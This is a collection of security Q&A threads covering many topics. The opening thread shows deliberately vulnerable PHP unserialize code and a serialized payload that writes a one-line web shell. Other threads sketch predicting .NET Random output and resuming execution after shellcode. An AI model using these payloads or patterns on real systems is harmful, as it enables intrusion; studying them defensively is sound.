Why does this PHP object injection exploit work? I have recently created some PHP code vulnerable to object injection. Here is the code of my one.php file where I unserialize the data parameter:

<?php

class utkarsh {

    public $logfile = "delete.txt";
    public $logdata = "test1";

    function check()
    {
        echo "Services are good to go <br>";
    }

    function __destruct()
    {
        if (file_put_contents(__DIR__ . '/'. $this->logfile, $this->logdata));
        echo "File contents has been uploaded";
    }
}

$v1 = unserialize(@$_GET['data']);

$object =  new utkarsh();
$object->check();

?>

And I successfully execute this code.

Now its time to exploit it, so I make another PHP file (called two.php) for serialization. Notice the value of $logdata.

<?php

class utkarsh
{

    public $logfile = "test.php";
    public $logdata = '<?php system($_GET["cmd"])?>';

}

$v1 = new utkarsh();

$v2 = serialize($v1);

echo htmlspecialchars($v2)

?>

And I got this:

O:7:"utkarsh":2:{s:7:"logfile";s:8:"test.php";s:7:"logdata";s:28:"<?php system($_GET["cmd"])?>";}

When I inject this payload in the data parameter of one.php I successfully upload my one liner shell.

But how? I didn't even make any test.php file on my computer. How can this automatically create that file on my computer?

The two files

It is important to understand their different roles of the two PHP files that you are using:

one.php is the vulnerable system, the one you are attacking.
two.php The second one is just a tool the attacker can use to generate the serialized object (i.e. data). It isn't supposed to be present on the system that you are attacking, and you don't need it at all. You could just as well generate the data string by hand.

So in a real example the two files wouldn't even be present on the same system. The first would run on the server that is being attacked, and the second would be executed localy at the attackers machine.

So why the same classname in both files? Because when data is deserialized on the server, you want it to create an instance of the utkarsh class. After all, that's the class that will write the file for you. For one.php to create an instance of that object, data needs to contain that object name. And an easy way to create a serialized object string containing that class name is to create a different class with that name and serialize it, just as you have done in two.php.

Note that when one.php runs unserialize it creates an instance of the utkarsh it knows about in one.php and not of the one in two.php.

The actual exploit

The exploit part of your process is making a request for one.php with the serialized object in the data parameter. So why does that result in a successful exploit? Let's go through, step by step, what is actually happening when one.php is executed.

The first row that actually does something is this one:

$v1 = unserialize(@$_GET['data']);

Given the data you provided, it will create an object named $v1 of the class utkarsh (as defined in one.php) with the following properties:

$logfile = "test.php";
$logdata = '<?php system($_GET["cmd"])?>';

Then there's this:

$object =  new utkarsh();
$object->check();

This creates another instance of the utkarsh class. But it's not realy relevant for the exploit in any way as far as I can see - this should work equally well without those two lines.
Then we reach the end of the script. When PHP reaches the end of a script it runs a "shutdown sequence". That includes calling the __destruct method on all objects. So for $v1 it will run this little piece of code:

file_put_contents(__DIR__ . '/'. $this->logfile, $this->logdata)

Or, if we enter the variable values:

file_put_contents(__DIR__ . '/test.php', '<?php system($_GET["cmd"])?>')

There you have it. You are right that "you" didn't write the file - instead you succesfully tricked the PHP script to write the backdoor for you.

Why is the system vulnerable?

The whole reason that this vulnerability is possible is that you pass user data to unserialize. That allows an attacker to create objects in states that they would never be in during "normal" execution of the program, allowing the program to have unexpected effects.


Encrypt data within mobile app and send to web service I'm developing a mobile application for Android and iOs. What is best practice when it comes to data encryption within the mobile application which will be sent to a web service?

Basically I will generate a string which consists of some parameters like GPS and time. This string needs to be encrypted and then be passed to a web service.

I have considered to do it with asymmetric encryption. Encrypt the string with the public key (which has to be hardcoded?) and decrypt with private key. Because every application can be reverse engineered this is not secure at all. After finding the hardcoded public key and the string generating function it's easy to forge whatever you want.

Any input is highly appreciated.

EDIT: A clearer approach of my question: A function of my application will generate a string and another function will encrypt this string, which will be sent to a server. How can I prevent a self crafted string to be passed to the encryption function after reverse engineering my application? In other words, can I ensure with an encryption technique that data sent by my mobile application to a server is not crafted by someone else?

You can't. This is a fundamental principle of general purpose computing.

You're running into Shannon's maxim:

  The enemy knows the system. One ought design systems under the assumption that the enemy will immediately gain full familiarity with them.

Just to make my point completely clear: you're giving someone a car, and asking them to only ever drive to one particular place. Nothing stops them from deciding to go somewhere else - you're relying on them adhering to your request.

If your security mechanism hinges on the hope that someone won't look at your executable and discover your encryption method / embedded keys, then it is not a security mechanism; it is an obscurity mechanism.

From what I can tell, you're trying to enforce that users are within a specified area via GPS coordinates, and also want to ensure that they don't spoof those coordinates. This cannot be done on a general purpose computing platform such as a smartphone. Let's look at the technology stack:

Your webapp sits in "the cloud" somewhere. You control this entirely.
Your app sits on a phone. You have minimal control over this, if any. Possible attack vectors include reverse engineering, app modification, direct webapp requests, memory editing, etc.
The smartphone OS (e.g. Android or iOS) runs on the device. You have no control over this. This is responsible for communicating with the GPS device and translating data into usable coordinates. Possible attack vectors include: fake GPS coordinates via test panel (most phones have this feature), modified GPS driver, hooked GPS APIs, etc.
The GPS module is inside the device. You have no control over this. The GPS module is responsible for communicating with GPS satellites and relaying the data to the CPU via a standard bus. Possible attack vectors include: man-in-the-middle on the bus, replacement fake GPS module, fake GPS satellite signal from software defined radio, etc.

So you cannot enforce that the GPS coordinates you receive into your webapp are correct, since they might have been tampered with at the app level, the OS level, the hardware level, or even the GPS signal level. Or, barring all that, someone might just skip the phone entirely and manually send requests to your webapp containing phony data!

The solution is to accept the risk or change your security model.


SAST vs WAF: What should I choose? Given the fact that I have a WAF already deployed, what is the benefit I could get by purchasing a SAST tool that would scan the engineers' code for security flaws?

Does this also apply for SCA tools where they can alert in case of using a vulnerable/malicious dependency or library? Can WAFs also protect from that?

WAF (Web application firewall) is meant to protect an already deployed application independently of the underlying application.

SAST (Static Application Security Testing) is meant to scan your code and find known vulnerabilities based on code.

DAST (Dynamic Application Security Testing) is meant to scan your already deployed application and find known vulnerabilities based on a live running instance.

SCA (Software Composition Analysis) is meant to analyze third party dependencies for known vulnerabilities.

Don't mix them up, there is no WAF vs SAST/DAST. WAF is meant to be application independent, you could potentially have a vulnerable application, but because you have a WAF in front of it, you still are protected.

An ideal devops environment would involve all of the tools mentioned, although, a potential debate here could be DAST vs SAST, but this is out of scope of the question.


What happens when attacker disrupts the ssl handshake? I have recently understood how SSL handshake works.I understand that once the handshake is done, everything is shared by secret key between server and client. I want to know what happens if Man in the middle attack occurs during the handshake? Though there is nothing attacker can get from that. By MITM attack, I mean this - he can get access to any upstream server and stop packets from going to a particular website. This would cause disruption of authentication right. This problem is not just specific to SSL handshake as it can happen anytime when MITM stops packets going to a particular destination.So my question is that what practices are followed to stop these kind of attacks?

Typically, controls are put in place to prevent "access to any upstream server". This includes:

Proper device hardening for routers and switches
Properly configured DNS servers
Network monitoring solutions to detect MiTM attacks on the local LAN
Certificate Authorities (CAs) to verify that the correct cert is used in the SSL handshake with the server

You'll have to clarify what you mean by "stop packets from going to a particular website". How would someone perform a MiTM if the attack if the packets are stopped. Do you mean redirected to a malicious site that the MiTM attacker owns? In that case, the CAs and the cert itself are the mitigating controls for this type of attack (think cert warnings by the browser).


If a hacker steals data i keep on a server, can i be held liable by the UK data protection act? While writing an essay I came up with this question. If a hacker steals data I keep on a server, can I be held liable by the UK data protection act?

Example, I have customers address' on my server and I believe to have taken the correct precautions to stop hackers (e.g. Firewalls, Proper encryption, all that is necessary) despite all that a hacker uses a brand new hacking method on me and steals that data to then sell it on.

Would I then be able to be held liable by the using the data protection act?

IANAL, but it seems that you can't be held liable for a data breach as long as:

you can demonstrate that you took appropriate measures to prevent the data from being accessed,

you periodically review these measures to ensure they are up to date, and

you deal with breaches in an a suitable way (including informing the people that have been affected)

Here are a couple of extracts from the ico.org.uk website on the subject:
What does the Data Protection Act say about the right to compensation?

If an individual suffers damage because you have breached the Act, they are entitled to claim compensation from you. This right can only be enforced through the courts. The Act allows you to defend a claim for compensation on the basis that you took all reasonable care in the circumstances to avoid the breach.

What does the Data Protection Act say about information security?

The Data Protection Act says that:

Appropriate technical and organisational measures shall be taken against unauthorised or unlawful processing of personal data and against accidental loss or destruction of, or damage to, personal data.

This is the seventh data protection principle. In practice, it means you must have appropriate security to prevent the personal data you hold being accidentally or deliberately compromised. In particular, you will need to:

design and organise your security to fit the nature of the personal data you hold and the harm that may result from a security breach;

be clear about who in your organisation is responsible for ensuring information security;

make sure you have the right physical and technical security, backed up by robust policies and procedures and reliable, well-trained staff; and

be ready to respond to any breach of security swiftly and effectively.


Cracking .NET random I know .NET has two PRNGs, one secure and one insecure. What is the approach to cracking the insecure one (I want to use it to test an .aspx site)? I searched all over but I only found references to cracking the random of Java, C and PHP.

According the the documentation the current implementation is a subtractive generator.

The code for Random is easy enough to browse. It keeps an array of the 55 previously generated values, and uses two values 21 places apart to generate new numbers, The InternalSample() method shows exactly how each new number is generated.

If you have raw output, you can easily replicate this logic and start filling the history array until you have enough values to reliably predict new values. If you don't get raw values, you will need to estimate the raw value from the values you get, in much the same way you would with other methods.


What is happening now with the Grub backspace key security vulnerability? I just read a few articles about a new Grub vulnerability. The article said that you can bypass the password protection by pressing backspace twenty eight times.

I am a security guy and I am concerned about the vulnerability, so I would like to know what measure is GNU and Linux taking? Is there a security update/fix/patch and can I do anything myself to keep my computer secure? I always keep my OS, web browser, and programs up to date, so will that help?

Here are the articles:

The Hacker News
Lifehacker

The main thing that is happening is that the bug is being seriously overhyped.

Exploiting this vulnerability requires physical access to the computer during startup, and if you've got physical access, there are about a zillion ways you can bypass security.
The bug is about bypassing Grub2's internal password protection.  Most users don't password-protect Grub2.
The bug is in the Grub2 bootloader.  If you're using direct boot from UEFI, LILO, classic Grub, or any of the non-x86 bootloaders, you're not vulnerable to it.

If you're worried about this bug, install your distro's patch for it, but keep in mind that, except in unusual circumstances, the vulnerability doesn't actually reduce security.


Putting secrets into enclave How a client machine could put secrets into the sgx enabled server protecting from man in the middle considering server os as malicious and also I read somewhere on internet that you should not create secrets into enclave rather you should put secrets directly into enclave from your  client considering client is not malicious.

When I say MIM I mean OS as man in the middle.

I know use of TLS connection.

I read about remote attestation, does the client needs to be an sgx enabled machine too and how could I directly put secrets into enclave if client is a non sgx machine while protecting from mim attack?

The client does not need to support SGX to interface with a service using SGX.  In fact, unless you plan to use remote attestation, there is no way the server would know whether or not the client supports SGX.

SGX allows running specialized code inside a "secure enclave" in the processor: the process state cannot be examined by a debugger, and the memory used by the secure enclave is protected against access by even the operating system.

A typical way to place data in the enclave is to generate a public/private keypair within the enclave, export the public key to outside the enclave, then have the client encrypt data with the public key.  The (now-encrypted) data is copied to the enclave (including over the network, if necessary) and then decrypted within the SGX enclave.  At this point, the enclave can do whatever operations are necessary on the data.

Note that SGX can also use the hardware sealing key to persist data that can only be recovered on the same host.

There was an excellent presentation on SGX at Black Hat USA 2016 that provides more implementation details on some of these aspects.


What type of attacks can be used vs MongoDB? I'm starting to learn MongoDB and was curious if it was susceptible to some type of injection attack similar to SQLi. Due to the nature of the DB, I don't think you can inject into it but... What other type of attacks can be leveraged against MongoDB?

Insecure Direct Object Reference

Client-Side Enforcement of Server Side Security

Server-Side JavaScript Injection

Also MongoDB should not be assessable to the public.  It can be password protected,  and passwords can be brute-forced.  Client-Side js can communicate with MongoDB directly,  and MongoDB can authenticate individual users. However their authentication system is overly simplistic,  and in practice I have only seen this design fail.


Understanding the strength of mobile two-factor and alternatives to this I'm currently using two-factor between my Mac and iPhone. And I also use it for my Google account. (Those are the two only ones at the moment.)

How I can protect access to my accounts if I don't have a mobile phone?

First, I'd like to understand if two-factor on a mobile phone is stronger than using a two-factor method that does not involve a mobile phone? If so, what particularly about a mobile phone makes it more secure? Is it because mobile phones have SIM cards, and no-one can get a SIM card without signing up with full name with a phone carrier, etc.?
What alternatives do I have for two-factor for Apple ID / Gmail that does not involve a mobile phone? (Preferably something that does not require obtaining a physical item or signing up for some paid service.) Can sending a token by encrypted email be used, for example?

Relying on anything controlled by a mobile carrier is a bad idea. SMS is insecure by design (it transits in plain text) and mobile carriers don't care about security unless it interferes with their ability to scam their customers, so they couldn't care less if there's a bad guy pwning their infrastructure and intercepting 2FA texts en masse (given the horrors I've seen at a major UK carrier I wouldn't be surprised if most carriers already have advanced malware planted somewhere deep in their infrastructure).

For email you could set up your own fake "email" server that responds to email queries (with the site's name) and responds with the corresponding 2FA code. Internally that server would be mimicking the functionality of the "authenticator" apps (TOTP/HOTP are open standards and the online services don't know nor care whether you're using a smartphone app or some obscure solution like this one). You'd be connecting to the email server securely and you'd have some scripts that interpret incoming email queries and putting the responses (with the codes) directly in its "inbox" IMAP folder for your email client to pick up.


Why is OAuth2/OpenID Connect considered less secure than SAML/WS-*? The prevailing notion seems to be that OAuth2 and OpenID Connect are considered less secure than SAML/WS-Federation. From what I gather, it comes down to encryption - i.e. the fact that OAuth2/Open ID Connect do not support token encryption and therefore need to rely on the transport layer for encryption (via SSL/TLS). However, I just learned that JWT token encryption is a thing - so is there any validity to this argument that says SAML/WS-Federation are more secure?

tl;dr

Most security issues are with implementation and not protocol, the
simpler the better.
SAML/WS-Federation and OpenID Connect all use
cryptographically signed tokens that support optional encryption
SAML/WS-Fed is XML based  and takes on the XML threat model while
OpenID Connect is JSON based {} and takes on the OAuth2 threat model
OpenID Connect provides the authentication layer for OAuth2 and
addresses some of the most important security gaps with OAuth2
OpenID Connect when properly implemented and used can be just as secure and
SAML/WS-Fed OpenID Connect is a "modern" protocol and well suited for
newer use case such as devices and native mobile apps.

SAML is a protocol for flows like Web SSO as well as a format for an XML based token (assertion) that is protected via a XML Digital Signature (XML DSIG) and optionally XML encryption (XML ENC).  The protocol supports several bindings including SOAP and HTTP (redirect/post)

WS-Federation is a lot more complex in that its actually based on a large set of WS-* standards such as WS-Trust & WS-security that are SOAP based.  WS-Federation is agnostic to the token format as it was designed to be a protocol to negotiate tokens (aka Security Token Service).  It's common to use SAML format tokens with WS-Federation, but you could technically also use something like a custom token or even a JWT!  There is also a "passive" flow for browser based scenarios that is very similar to HTTP redirect binding for the SAML Authentication Request Protocol

OAuth2 is NOT and authentication protocol but rather an authorization delegation protocol.  It defines a set of flows (grant types) to obtain tokens but doesn't define the format of a token.  Different flows are specified to accommodate the needs of different applications (clients in OAuth) such as a browser, a background server daemon application, or a native mobile app.

OpenID Connect is built on-top of OAuth2 and provides the authentication layer.  It adds a new token to OAuth (id_token) that is JWT based and set of mandatory params and claims for the protocol and token (assertion).  OpenID Connect was designed to be the "modern authentication" answer to most of the SAML/WS-Fed use cases without the XML & SOAP based overhead for modern apps such as native mobile apps and devices.

When comparing SAML/WS-Fed to OpenID Connect (remember vanilla OAuth2 is NOT an authentication protocol), we need to consider the security of the protocol and security of the token (assertion) but also the software "implementation" of both.  More complexity to specifications often leads to more developer bugs!

SAML has common XML threats (www.owasp.org/index.php/SAML_Security_Cheat_Sheet) and puts a lot of complexity on both the IdP and SP to get right from as security perspective.  SAML for Web SSO with HTTP binding (most common) depends on TLS for transport security to ensure the token is not intercepted.  SAML Assertions are commonly issued as a "Bearer Token" which means that there is not way to bind the issued token to the client that presents the token.  If you have the assertion that you are presumed to be the subject of the token. The Identity Provider (IdP) acts as the Authentication Service and issues a SAML assertions (token) that is returned to the pre-configured destination known as the service provider (SP).

The request/response messages can use HTTP redirects or Form POST depending on IdP/SP configuration. A successful response form the IdP contains a protocol envelope message with metadata and an assertion (token).  The response and/or the assertion needs to digitally signed with XML DSIG by the IdP using it's private key and optionally encrypted with the SP's public key.

The request/response protocol is very minimal but its important to note that the actual user authentication happens over the browser typically with HTML/JS and is not defined the protocol (yes there is a binding that can use HTTP Basic Auth but its not really used in most deployments).  The requesting application is typically not authenticated so the most significant threat from a protocol perspective is to ensure that the IdP only delivers the response to the configured SP and not an attacker.  SAML Assertions are commonly issued as a "Bearer Token" which means that there is not way to bind the issued token to the client that presents the token.  If you have the assertion that you are presumed to be the subject of the token.  The location where the assertion is delivered via redirect or POST URL is typically whitelisted in the IdP to ensure that it can only be delivered to "trusted locations" (assuming you trust DNS, TLS, CA's, and your browser!).

WS-Federation as mentioned before is a lot more complex.  The active RPC-like SOAP protocol can optionally use any number of features from the wS-* stack such as message or transport security and bearer or proof-of-possession tokens (where the party presenting the token must cryptographically prove they are the subject of the token).  The passive flow is similar to SAML from a security perspective.

Most security issues with SAML/WS-Federation have to deal with the dependency on XML and XML Security (signature & encryption).  These are very complicated technologies to get right and most developers only test happy path scenarios.  There are so many ways one can implement  parsing and  data validation that leaves room for an attacker to exploit.  A common attack is XML signature wrapping (www.ws-attacks.org/XML_Signature_Wrapping).

OpenID Connect (OIDC) is based on OAuth2 and takes on most of the well documented OAuth 2.0 Threat Model and Security Considerations (rfc6819).  There has also been a recent Comprehensive Formal Security Analysis of OAuth 2.0 (https://arxiv.org/abs/1601.01229).  OIDC adds an additional security layer to OAuth2 by returning a signed JWT token to the requesting application called the id token (https://openid.net/2016/07/16/preventing-mix-up-attacks-with-openid-connect/).  Just like SAML with HTTP binding it also relies on TLS for transport security and takes on the typical DNS, TLS, CA's threat model. JWTs can be signed with shared secret or public/private key HMAC and optionally encrypted.  The JSON Web Signature (rfc7515) and Encryption (rfc7516) are a lot more simple than their XML DSIG/ENC counterparts which hopefully means more secure implementations but there have been known issues with common libraries (www.chosenplaintext.ca/2015/03/31/jwt-algorithm-confusion.html).    OAuth2 requires on client registration which provides identity for the requesting application which  can be public or confidential and require client authentication.  User authentication is performed over the browser just like SAML.

There is a lot more inputs to validate with OAuth2 than there is with SAML!  Most common issues deal with input validation and binding request/response params to the client.   There has  been a lot of recent work in the  OAuth working group to define best practices for native apps (draft-ietf-oauth-native-apps-06).  There is a recent draft in OAuth2 working group to identify additional open security topics (draft-lodderstedt-oauth-security-topics-00).


How are short passwords not safe if you limit the number of attempts? On all web services that require passwords, like gmail, you are asked to set a long password. Like 8 characters or more.

The reason being higher security.

But the same services limit the number of login attempts to 3-4 tries before locking your account and asking for more info. Something which I find very annoying, but that's another topic.

So how is a short password insecure if they limit login attempts?
If the password has 5 characters someone cannot try all combinations in just 3 attempts.

The main reason passwords need to be long and random (i.e. high entropy) is to protect against offline brute force attacks.

Passwords are usually not stored in plain text. Instead, they are hashed. If someone steals the database with the hashed passwords (this is surprisingly common), they can not directly read the passwords. Instead, they have to try loads and loads of passwords to find one that matches the hash. Since the password hashes have been stolen, this can be done on the attacker's machine and not via the website itself (hence offline attack). This means that any limits on retries on the webpage do not apply.

Long and random passwords takes more guesses, so they are harder to crack even if the database is ever stolen. That is why they are encouraged on the web.


Do pre-boot software keyloggers exist? Let's sat for example that I have a laptop with just one hard drive running Windows 10. The Laptop's C:\ (boot) drive is encrypted using Bitlocker, and it set up to ask for a PIN on start to decrypt the drive and load the OS.

Is there such a thing (or would it be theoretically possible) as a purely software keylogger that could record the bitlocker PIN after a cold boot?

We are looking at security cases for USB drive vs PIN bitlocker unlocking.

Yes they exist (like this Russian one uefilog on github
Also Hardware key loggers would capture this information.
And in theory one could implement an hardware keylogger in the BIOS itself.

How likely they are is a different matter. in most cases its easier to capture this information through other means. (side-channel, social engineering, Hardware key-logger, etc).

But this is one of the use-cases for Smart-card readers with separated numbered keyboard .


Is every packet in a home Wi-Fi which has say, AES password for connection, encrypted using the same password? If there is an intruder in a LAN who knows the encryption type and password, will he be able to monitor all the packets which are in the LAN? Suppose someone on the LAN is visiting HTTP sites, which supposedly have no encryption.

will the intruder be able to snoop on the data easily?
Which software does the intruder use?

According to Kerckhoffs's principle, secrecy depend on key not in encryption algorithm. Therefore Knowing encryption algorithm does not help to decrypt traffic. But implementation is critical. WEP is very weak, It is possible to break less than minute, because of poor implementation.
If your link is properly encrypted with secured algorithm such as WAP2+CCMP It will be very difficult to read captured traffic.
AES is used by CCMP and it will be secured environment. If your connection is encrypted it is not possible to read traffic goes to http traffic. Because your entire data packet is encrypted in secured connections including header.
If they know the password yes they can sniff and read content but it should be done before login.
Always keep in mind, no system is 100% secured. Be Sure what you are doing?


What is the state of 3G data cryptography? A client of my company is currently using a solution where they've invented a UDP protocol that communicated with no TLS over regular 3G in small embedded devices.

Their cellular provider, KORE, ensures us that 100% of that 3G data is untouchable by the open web and lives within their VPN, unless we would like that device to touch the open web. They have also assured us that the connections between their cellular providers and their datacenter are 100% secured with private fiber runs and IPSec tunnels. I will assume this is true and secure.

We're trying to rule out the possibility of attack on their devices through the wireless protocol. We're concerned about attackers being able to read data coming across the airwaves as well as modify packets to attempt and control a device. I understand that data over 3G uses the KASUMI cipher, which has been compromised, but practical applications of that are not known to be in the wild. Is this still true? If we can trust the connection between the tower and the datacenter, can we trust the connection between the tower and the device?

If this is still true, theoretically there might still be a way to compromise that radio connection. How complex would an exploit like that have to look? Would it be able to run on a femtocell using modified firmware, or might it require more complex hardware?

I understand that data over 3G uses the KASUMI cipher, which has been compromised, but practical applications of that are not known to be in the wild. Is this still true?

Seems like it. But there are detailed reports and researches on the subject. (see here)

  If we can trust the connection between the tower and the datacenter, can we trust the connection between the tower and the device?

No. The data between the tower and datacenter runs on physical cables and all access to any component on the infrastructure is locked in a box with access only to the technicians (This is the usual case which I assume applies in this situation). The data between the tower and the device is in radio waves which can be sniffed.

  If this is still true, theoretically there might still be a way to compromise that radio connection. How complex would an exploit like that have to look? Would it be able to run on a femtocell using modified firmware, or might it require more complex hardware?

You can preform the attack with a few methods:

Sniff the information being sent between the device and the tower and then decrypt it.
Get close to the device with a stronger cell signal and cause the device to connect to you and then redirect the traffic to the original cell (or don't) causing you to be able to preform as a man in the middle.

Either way all attacks on cellular devices and cellular infrastructure are very hard, time consuming and expensive (a personal cell can cost around $5000), so your biggest threat is a very well funded and professional hacking team or a government of some short.

My suggestion is to stay with the encryption that exists but if you are making any TCP/UDP requests from the device you should add a private encryption that will act as another encryption level.


Can malicious software be installed inside Linux swap partition? Is it possible for a virus of any kind to be installed inside Linux swap partition? If so, could it be transferred to the system even after formatting the Linux partition only and reinstalling the OS (without formatting the swap area)?

It is difficult to think of a way to write to the swap partition as Linux doesn't allow you to write to them. The only scenario I can come up with where this may be possible is when the system is coming out of sleep or hibernation and memory has been paged out to the swap file. Prior to restarting Linux, the bootloader or some other boot-time code makes malicious modifications to the swap partion.

Certainly encrypting your swap partition, as suggested in a comment by @ott, would make this more difficult. It may not be impossible as the OS must be able to decrypt the swap partition, but it will likely be much more complex.

The above notwithstanding, I've never heard of such an attack. I suspect the reason is that by the time you are in a position to modify the bootloader, you've pretty much pwned the computer and have no reason to mess around with subtle attacks like this one.


Is there a good step by step troubleshooting resource to the common OpenVPN configuration error "TLS Error: TLS key negotiation failed"? I'm setting OpenVPN for the first time [on a derivative of pfSense OPNSense]

I see in my OpenVPN logs the message: "... TLS Error: TLS key negotiation failed ..."

Research has showed me that this is the most common error encountered by new implementers of OpenVPN. The error apparently stems from incorrect configuration of the firewall rules. I've been trying to troubleshoot these without much success. What (as a novice) I've noticed is that I've not found a comprehensive trouble shooting procedure which one can follow.

Would appreciate any points to such a troubleshooting resource.

According to https://openvpn.net/index.php/open-source/faq/79-client/253-tls-error-tls-key-negotiation-failed-to-occur-within-60-seconds-check-your-network-connectivity.html, this message not only occurs if the key negotiation failed because of some crypto-related reasons or whatever, but also if getting any network connection to the other host failed.

Can you ping the other host and/or get a connection on any other port where a server is running?

Yes: All relevant firewalls need to allow connection on UDP 1194 too, eg. firewalls in network hardware and/or installed on your computer (eg. the Windows builtin one).
How it is configured depends very much on the used firewall.

No: Depending on your network structure, it may be necessary to add NAT port forwarding rules and/or static routes. Or maybe a cable is not plugged in...
In this case, it's necessary to get your network layout to tell you more.


Restoring the stack frame after payload is executed Is it possible to restore the stack frame so that the EIP returns to the place that is was at(before the overflow) after a payload has been executed?

If a stack frame is overflowed and the payload executed, how can the vulnerable application be restored so it continues to function as it was before?

If the EIP is overwritten with the address to the start of the payload or NOP sled and lets say it spawns a shell, does that spawned shell keep the stack frame paused? Or what exactly happens after the payload is run and the EIP is read again? Wont it cause an infinite loop inside the stack frame?

Technically it seems to be possible, but only in case you know the code path (i.e. you know the exploit would be triggered only from a specific address of the application). Seems like what you need to do is:

Overwrite only the return address on stack (and nothing else);
In your executed code store the old ESP/RSP in one of the throwaway registers, and set it to somewhere else (so your operations do not damage stack - may not be necessary if you're sure your shellcode will not damage stack content);
Store all registers which must be preserved across the function calls;
Do what you need to do;
Restore the preserved registers and stack pointer;
Assign a proper return value (if the function returns a value) into a proper register(s);
Jump to the specific address after from where the function which you exploited was called from.

A spawned shell in this case may use a dedicated stack, or even the original stack. Since it grows down, if the code uses the stack properly, it will not damage the original stack content which was put there before the invocation.


Is it advisable to change your password every now and then? I have locked myself out of my own account because my password was so strong,
and this site tells me how long hackers will take to hack your password.

Is it advisable to change your password every now and then? If so, how often is appropriate? My brain has had it's toll...

Why are we sometimes encouraged to change our passwords periodically? Two reasons:

Passwords are (hopefully) stored in hashed form, meaning that it is supposed to be impossible to get the plaintext password even if you manage to steal the database. If the password is weak, or the hashing bad, it is possible to brute force the password. This can take time, even on a very fast computer. If you change your password every month, and brute forcing the password takes two months, the attacker is out of luck.
If say your collegue steals your password by peaking while you type he can read your email and spy on you. If you change your password regularly, you will eventually shut her out.

So changing your password is positive in theory. But it is associated with a cost - having to memorize the new password. If having to pay that cost forces you to take other cheap short cuts in other areas, you may end up less secure because of it.

I would use this priority list:

Never use stupidly simple top 1 000 passwords like password1 or 123456.
Never reuse the same password on multiple sites.
Use reasonably strong passwords.
Change your password every now and then.

If implementing #4 causes you to cheat on #1 - #3 to be able to keep all the passwords in memory, you are doing yourself a disservice. Fortunately, there is an easy way to fullfill #1 - #3 without spending any brainpower at all - just use a password manager. There are plenty of free alternatives.

Even with a password manager you might want to change your password periodically in case someone got hold of it. Good thing is that it is now very easy to do, since you don't need to remember it.


Is it dangerous to place ~/ssh/config on GitHub? I am used to version control most of my dot files and push them to a repository on GitHub. I would also like to add ~/.ssh/config to have an up-to-date configuration on all machines.

Could an attacker benefit from having the host names listed in a publicly available ~/.ssh/config?

Typically not, but there are certain targeted attack cases where this might be useful. The more likely danger is that you'd accidentally commit some sensitive bit information that you didn't intend to have there.

If you're using github for storing personal files, do yourself (and github) a favor and pay the $7 to get private repos.


How are zero days found? I believe that it was leaked recently that the NSA has a long list of zero day exploits on various software "for a rainy day," ie: for whenever it would be useful to them.

The question is, how do they find these zero days? Does someone have to physically sit at a computer and try a whole bunch of random things (ie: remote code execution encoded in base64 inside of a script in a PDF), or are there automated systems which actively pen-test pieces of software for holes where privilege escalation or remote code execution would work?

Zero-days are found in exactly the same ways as any other kind of hole. What makes a security hole a "zero day" relies exclusively on who is aware of the existence of the hole, not on any other technical characteristic.

Holes are found, usually, by inquisitive people who notice a funky behaviour, or imagine a possible bug and then try out to see if the programmer fell for it. For instance, I can imagine that any code which handles string contents and strives to be impervious to case differences (i.e. handles "A" as equivalent to "a") may run into problem when executed on a Turkish computer (because in Turkish language, the lowercase for "I" is "ı", not "i") which can lead to amusing bugs, even security holes (e.g. if some parts of the system checks for string equivalence in a locale-sensitive way, while others do not). Thus, I can try to configure my computer with a Turkish locale, and see if the software I target starts doing weird things (besides talking Turkish).

Part of bug-searching can be automated by trying a lot of "unusual combinations". This is known as fuzzing. It can help as a first step, to find input combinations which trigger crashes; anything which makes the target system crash ought to be investigated, because crashes usually mean memory corruption, and memory corruption can sometimes be abused into nifty things like remote code execution. However, such investigations must still be done by human brains.

(If there was a fully automatic way to detect security holes, then software developers would use it to produce bug-free code.)


How to report a malicious script? I recently received an email with some malicious script written in JavaScript which affects DLLs. I just want to know if there is a kind of security board or something along those lines where I can submit my malicious script. This can be useful to avoid others being affected by this malicious script.

This excellent guide by @SwiftOnSecurity lists multiple notable services where you can report the malicious script to.

  VirusTotal.com (Shares reports publicly, shares files with Premium subscribers)
  Hybrid-Analysis.com (Shares reports and files publicly, uses Payload Security's VxStream sandbox)
  Malwr.com (Shares reports and files publicly)
  Microsoft (Select 'Home User')
  Webroot (Detections and threat intelligence go to multiple other products)
  Kaspersky
  ClamAV (Especially for files that came through email, used in many spam filters)
  Emsisoft


Leaked videos on pornsites If instant messaging such as skype, messenger,imo etc are safe to use, then why are there leaked video calls posted on pornsites and youtube?

Secure channels vs secure endpoints

A secure communication channel allows you to communicate with someone else without third parties being able to intercept or modify the messages, no more no less.

They don't protect the communication from the intended recipient - they can record the conversation and redistribute it, and this is a major source of leaked private videos.

They also don't protect you if the endpoint is compromised - the sending or receiving device may record everything being shown on the screen.


Why should I trust the OAuth Providers? I am trying to understand how OAuth really works. So far I understood the workflow of the authentication process, but I don't get why it is that safe to use a third party OAuth provider. I mean they have our credentials and can do anything with them. Can't they just authorize other apps without letting us know?

Why trust a certificate authority?
Why trust the developers of the apps you use?
Why trust your OS manufacturer?
Why trust your hardware manufacturer?

Each one may or may not be worthy of your trust, but at some point, you have to trust something. A company whose entire business model is being trusted seems like as good a choice as any.


What does "scope" mean in CVSS v3? In CVSS v3, the "scope" indicates whether a vulnerability in an application impacts resources beyond its means. It can have the values "changed" or "unchanged".

I don't fully understand when the scope is changed. For example, in the CVSS examples, an XSS has scope changed because a vulnerability in the application impacts the user's browser. But with XSS you can still only run Javascript within the application context, something which the application could do in the first place. It doesn't seem to me that this impacts resources beyond its means.

And the example CSRF vulnerability has scope unchanged, even though just like the XSS it triggers behavior in the browser.

What does it mean when the scope is changed or unchanged?

It seems from the documentation that the scope is changed when the vulnerability traverses authorization authorities. What is an "authorization authority"?

A XSS attack occurs when you send input to the server and the server returns your input as a response without validating it. In this case the vulnerability is on the server webpage (lack of validation) and this webpage is your scope authority. However, the attack doesn't compromise the webpage itself. It compromises the user's browser. This is where the scope change is occurring.
In a CSRF attack,the vulnerability is again on the webpage (no authorization tokens) but in this case the attack doesn't compromise the user's browser, it compromises just the particular webpage with the vulnerability, because a crafted request will only work on the specific website for which it was crafted, thus the scope is unchanged. (the vulnerability and the compromise are in the same component).
I think anon in his comment explained perfectly what the authorization authorization authority is. But hopefully this will give you more clarity.


Why are CSRF tokens necessary? It seems that the entire problem could be solved very elegantly by simply adding a new flag to the HTTP cookie specification.

